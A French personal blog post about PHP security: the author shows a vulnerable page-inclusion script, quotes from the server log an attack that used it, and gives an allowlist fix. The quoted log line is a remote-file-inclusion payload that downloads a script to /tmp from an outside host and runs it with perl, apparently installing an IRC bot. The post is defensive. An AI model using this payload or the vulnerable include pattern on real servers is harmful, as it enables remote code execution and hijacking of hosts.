notes·de·pit

Parfois j'apprends à pêcher à des gens qui n'aiment pas le poisson

Sécurité PHP

J’ai écrit un site pour un ami et j’ai décidé de le faire en PHP. Jusque là, rien de bien particulier. Après quelques recherche, je trouve un canevas me permettant de générer diverses pages avec le même header et le même footer. Toujours rien de particulier.

L’idée c’est d’avoir des liens de la forme index.php?p=un ou index.php?p=deux pour accéder à la première page ou à la deuxième. J’écris donc

if (isset($HTTP_GET_VARS['p'])) {
    $page = $HTTP_GET_VARS['p'];
} else {
    $page = 'home';
}
include 'header.php';
include "$page.php";
include 'footer.php';

Et ça marche bien… jusqu’à ce qu’il y ait un malveillant qui donne comme page ni un ni deux, mais plutôt un truc du style

(extrait de log) 
/index.php?p=http://www.hotelalpino.com.br/ferias/vnc/cmd/cmd.txt?&cmd= cd%20/tmp; rm%20but.txt; wget%20http://eep.br/~gpereira/but.txt; fetch%20http://eep.br/~gpereira/but.txt; lwp-download%20http://eep.br/~gpereira/but.txt; curl%20-O%20http://eep.br/~gpereira/but.txt; lynx%20http://eep.br/~gpereira/but.txt; perl%20but.txt

Et là, c’est génial. Le gars fait télécharger sur ma machine (ou plutôt chez mon hébergeur) un script dans le répertoire /tmp et l’exécute. Ce script est un bot IRC qui va gentiment se connecter à IRC et attendre les commandes de son « maitre ». Ces commandes sont du style portscan, tcpflood, httpflood… ah le malveillant 😡

Voilà, j’ai envoyé mon mail de « plainte » au site responsable de l’hébergement apparent du gars. On verra bien mais je n’ai quasi aucun espoir. J’ai également été voir sur irc.udplink.net / #bots où je vois 5,6 bots appartenant au gars.

J’ai modifié mon fichier php afin qu’il n’accepte comme paramètres uniquement les valeurs des pages qui existent (dans l’exemple un et deux).

$pages = array('home' => 'Home',
    'un' => 'La première',
    'deux' => 'La deuxième',
    );

if (isset($_GET['p']) ) {
    $page = $_GET['p'];
    // Sécurité. p ne peut valoir que les pages ci-dessus, pas de script
    if ( ! array_key_exists($page,$pages) ) $page= 'home' ; 
} else {
    $page = 'home';
}

include 'header.php';
include "$page.php";
include 'footer.php';

La question qui reste sans réponse : comment faire brûler sa machine. Et surtout comment savoir qu’elle a brulé.